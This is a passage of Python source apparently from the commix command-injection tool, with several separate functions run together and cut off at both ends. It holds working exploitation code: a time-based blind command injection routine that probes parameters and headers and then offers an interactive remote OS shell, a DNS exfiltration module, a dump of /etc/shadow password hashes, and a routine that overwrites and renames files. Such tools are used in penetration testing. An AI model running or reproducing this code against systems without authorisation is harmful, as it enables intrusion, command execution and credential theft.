and not "!" in fields[ 1] and fields[1] != "": print " (" + str( count ) + ") " + Style.BRIGHT + fields[ 0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[ 1] + Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print "\n" + settings.print_warning_msg(warn_msg)
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL >= 1: info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: try: settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input(settings.print_question_msg(question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.SUCCESS_MSG else: percent = "" #break else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print("") if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str(float_percent) + "%)" print("") # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str(float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": whitespace = " " possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print("") break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print("") tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. if settings.VERBOSITY_LEVEL >= 1: print("") delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) logs.print_logs_notification(filename, url) raise SystemExit() if settings.VERBOSITY_LEVEL >= 1 or not new_line: print("") try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print("\n") + settings.print_output(output) + "\n" # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print("") # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else : sys.stdout.write("\r") sys.stdout.flush()
def dns_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have administrative privileges to run this module. if not common.running_as_admin(): err_msg = "You need to have administrative privileges to run this module." print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) if http_request_method != settings.HTTPMETHOD.POST: #url = parameters.do_GET_check(url, http_request_method) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter, http_request_method) request = _urllib.request.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n" + settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n" + settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n" + settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) if settings.TARGET_OS == "win": err_msg = "This module's payloads are not suppoted by " err_msg += "the identified target operating system." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) else: dns_server = menu.options.dns_server technique = "DNS exfiltration module" info_msg = "Loading the " + technique + ". \n" sys.stdout.write(settings.print_info_msg(info_msg)) exploitation(dns_server, url, http_request_method, vuln_parameter, technique)
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print(settings.SPACE) warn_msg = "Multiple" if menu.options.requestfile: warn_msg += " requests" elif menu.options.logfile: warn_msg += " targets" warn_msg += " are not supported, thus all coming" if menu.options.requestfile: warn_msg += " requests " elif menu.options.logfile: warn_msg += " targets " warn_msg += "will be ignored." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request, single_request): if single_request: print(settings.SPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print(settings.SPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() else: try: if menu.options.requestfile: with open(request_file, 'r') as f: settings.RAW_HTTP_HEADERS = [line.strip() for line in f] settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) request = open(request_file, 'r') except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." print(settings.SPACE) print(settings.print_critical_msg(error_msg)) raise SystemExit() words_dict = {} for word in request.read().strip().splitlines(): if word[:4].strip() == "GET" or word[:4].strip() == "POST": words_dict[word[:4].strip()] = words_dict.get(word[:4].strip(), 0) + 1 # Check if same header appears more than once. single_request = True if len(words_dict.keys()) > 1: single_request = multi_requests() for key in words_dict.keys(): if words_dict[key] > 1: single_request = multi_requests() # Check for GET / POST HTTP Header for http_header in ["GET","POST"]: request = open(request_file, "r") request = request.read() if "\\n" in request: request = request.replace("\\n","\n") request_url = re.findall(r"" + http_header + " (.*) ", request) if request_url: if not single_request: request_url = request_url[0] if http_header == "POST": # Check for POST Data. result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: menu.options.data = '\n'.join([str(item) for item in multiple_xml]) else: menu.options.data = result[len(result)-1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file, single_request) break # Check if invalid data if not request_url: invalid_data(request_file, single_request) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header elif re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header elif re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" elif re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print(settings.SPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '",":") match = match.replace("('","") match = match.replace("')","\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file, single_request) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.logfile: info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" print(settings.print_info_msg(info_msg)) sub_content = http_header + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if http_header == "POST": sub_content = "Data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof
def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: info_msg += ". " else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Purging content of target directory. dir_paths = [] file_paths = [] for rootpath, directories, filenames in os.walk(directory): dir_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) # Changing file attributes. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) # Writing random data to files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: filesize = os.path.getsize(file_path) with open(file_path, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in xrange(filesize))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) # Truncating files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: with open(file_path, 'w') as f: pass except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) # Renaming filenames to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.rename( file_path, os.path.join( os.path.dirname(file_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) # Renaming directory names to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() failed = False dir_paths.sort(key=functools.cmp_to_key( lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: try: os.rename( dir_path, os.path.join( os.path.dirname(dir_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if settings.VERBOSITY_LEVEL != 0: if not 